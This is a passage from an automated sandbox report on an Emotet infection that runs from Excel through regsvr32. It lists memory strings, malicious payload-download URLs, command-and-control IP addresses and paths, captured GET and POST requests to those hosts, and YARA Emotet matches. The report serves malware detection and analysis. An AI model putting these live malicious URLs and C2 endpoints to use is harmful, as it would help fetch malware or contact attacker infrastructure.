0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.globalsign.net/root-r2.crl0
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOrganisatieLatestCRL-G2.crl0
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://crl.pkioverheid.nl/DomOvLatestCRL.crl0
Source: BD680000.0.dr String found in binary or memory: http://ly.yjlianyi.top/wp-admin/4cChao/
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0%
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0-
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com0/
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.comodoca.com05
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net03
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://ocsp.entrust.net0D
Source: BD680000.0.dr String found in binary or memory: http://sbm.xinmoshiwang.com/upload/VaOfWEb3pW76UO/
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.digicert.com.my/cps.htm02
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: http://www.diginotar.nl/cps/pkioverheid0
Source: regsvr32.exe, 0000000F.00000002.1380197352.00000000003CD000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000F.00000002.1380165068.00000000003B8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://173.255.211.88/owewlpmufrqxtxj/
Source: regsvr32.exe, 00000007.00000002.1380165365.0000000000201000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380275886.0000000000368000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://182.162.
Source: regsvr32.exe, 0000000B.00000003.1257753391.0000000000368000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://182.162.143.56/acqrviy/djjybechrofav/
Source: regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://182.162.143.56/boiplpwswxcuxnjh/uinwb/ubppn/lupq/B
Source: regsvr32.exe, 00000007.00000003.1090482765.0000000000201000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://182.162.143.56/foelwwmtkdwehjqr/njwmpsxnqsxod/rlwwfo/
Source: regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289952076.000000000034D000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://182.162.143.56/qhecxbnpzjg/
Source: regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268731630.000000000024E000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://182.162.143.56/urupsapzfmrxqv/zW
Source: BD680000.0.dr String found in binary or memory: https://copunupo.ac.zm/cgi-bin/WFFcGx/
Source: BD680000.0.dr String found in binary or memory: https://datie-tw.com/img/O8G0RDZj7MYCuJyPoP/
Source: regsvr32.exe, 00000007.00000003.1090657377.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000002.1380176891.0000000000207000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000007.00000003.1090725491.0000000000216000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000003.1099007620.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 00000009.00000002.1380284898.00000000002E8000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000003.1257773721.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000B.00000002.1380332055.0000000000384000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268690034.000000000025E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000003.1268612065.000000000024E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000C.00000002.1271899328.0000000000261000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289845508.000000000035E000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000003.1289648788.0000000000349000.00000004.00000020.00020000.00000000.sdmp, regsvr32.exe, 0000000D.00000002.1292573134.0000000000349000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: https://secure.comodo.com/CPS0
Source: unknown HTTP traffic detected: POST /foelwwmtkdwehjqr/njwmpsxnqsxod/rlwwfo/ HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedContent-Length: 393Host: 182.162.143.56
Source: C:\Program Files\Microsoft Office\Office14\EXCEL.EXE File created: C:\Users\user\AppData\Local\Microsoft\Windows\Temporary Internet Files\Content.IE5\ZAE7RW1P\EvvmhfKiKFhKrSuHfBq[1].dll Jump to behavior
Source: unknown DNS traffic detected: queries for: datie-tw.com
Source: global traffic HTTP traffic detected: GET /img/O8G0RDZj7MYCuJyPoP/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: datie-tw.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /cgi-bin/WFFcGx/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: copunupo.ac.zmConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /upload/VaOfWEb3pW76UO/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: sbm.xinmoshiwang.comConnection: Keep-Alive
Source: global traffic HTTP traffic detected: GET /wp-admin/4cChao/ HTTP/1.1Accept: */*UA-CPU: AMD64Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E)Host: ly.yjlianyi.topConnection: Keep-Alive
Source: unknown HTTPS traffic detected: 175.98.167.165:443 -> 192.168.2.22:49173 version: TLS 1.2
Source: unknown HTTPS traffic detected: 41.63.0.22:443 -> 192.168.2.22:49175 version: TLS 1.2

E-Banking Fraud
barindex
Yara detected Emotet
Source: Yara match File source: 00000007.00000002.1379999865.00000000001AA000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1380113365.000000000028A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.1380049147.000000000037A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1380135944.000000000031A000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 8.2.regsvr32.exe.1ef0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.regsvr32.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.regsvr32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.regsvr32.exe.4c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 10.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.regsvr32.exe.2d0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 15.2.regsvr32.exe.2d0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 7.2.regsvr32.exe.4c0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 5.2.regsvr32.exe.3b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 8.2.regsvr32.exe.1ef0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 13.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 12.2.regsvr32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE
Source: Yara match File source: 11.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 9.2.regsvr32.exe.1b0000.0.unpack, type: UNPACKEDPE
Source: Yara match File source: 00000007.00000002.1381010600.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1109090609.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.938553016.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.1379957935.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.950173047.0000000001EF0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.1293166483.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1380954882.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000F.00000002.1380702189.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.1271971466.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000007.00000002.1380409195.00000000004C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000009.00000002.1379888285.00000000001B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000005.00000002.939232134.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 00000008.00000002.950500387.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1379913182.0000000000140000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000C.00000002.1272338835.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000B.00000002.1380959934.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000A.00000002.1110669448.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match File source: 0000000D.00000002.1292663016.00000000004B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY

System Summary
barindex
Malicious sample detected (through community Yara rule)
Source: 8.2.regsvr32.exe.1ef0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 12.2.regsvr32.exe.3b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 5.2.regsvr32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 7.2.regsvr32.exe.4c0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 10.2.regsvr32.exe.3c0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 9.2.regsvr32.exe.1b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 10.2.regsvr32.exe.3c0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 13.2.regsvr32.exe.4b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 15.2.regsvr32.exe.2d0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 15.2.regsvr32.exe.2d0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 7.2.regsvr32.exe.4c0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 5.2.regsvr32.exe.3b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 8.2.regsvr32.exe.1ef0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 13.2.regsvr32.exe.4b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 11.2.regsvr32.exe.140000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 12.2.regsvr32.exe.3b0000.0.raw.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 11.2.regsvr32.exe.140000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 9.2.regsvr32.exe.1b0000.0.unpack, type: UNPACKEDPE Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000007.00000002.1381010600.0000000180001000.00000020.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000A.00000002.1109090609.00000000003C0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 00000005.00000002.938553016.00000000003B0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
Source: 0000000F.00000002.1379957935.00000000002D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY Matched rule: Windows_Trojan_Emotet_db7d33fa Author: unknown
